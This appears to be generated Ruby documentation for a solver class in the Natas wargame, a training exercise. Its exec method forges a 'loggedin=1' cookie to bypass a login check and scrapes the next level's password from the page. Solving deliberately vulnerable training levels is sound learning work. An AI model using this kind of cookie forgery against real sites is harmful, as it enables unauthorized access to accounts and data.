class NatasLevel5
Level 5
Constants
- LEVEL
- PAGE
Public Instance Methods
exec()
click to toggle source
# File lib/natas.rb, line 215 def exec cookie = 'loggedin=1' log("Setting the Cookie HTTP header: #{cookie}") log("Parsing the page: #{PAGE}") data = get( PAGE, { 'Cookie' => cookie } ).body match = /The password for natas6 is (\w{32})/.match(data) not_found unless match found(match[1]) end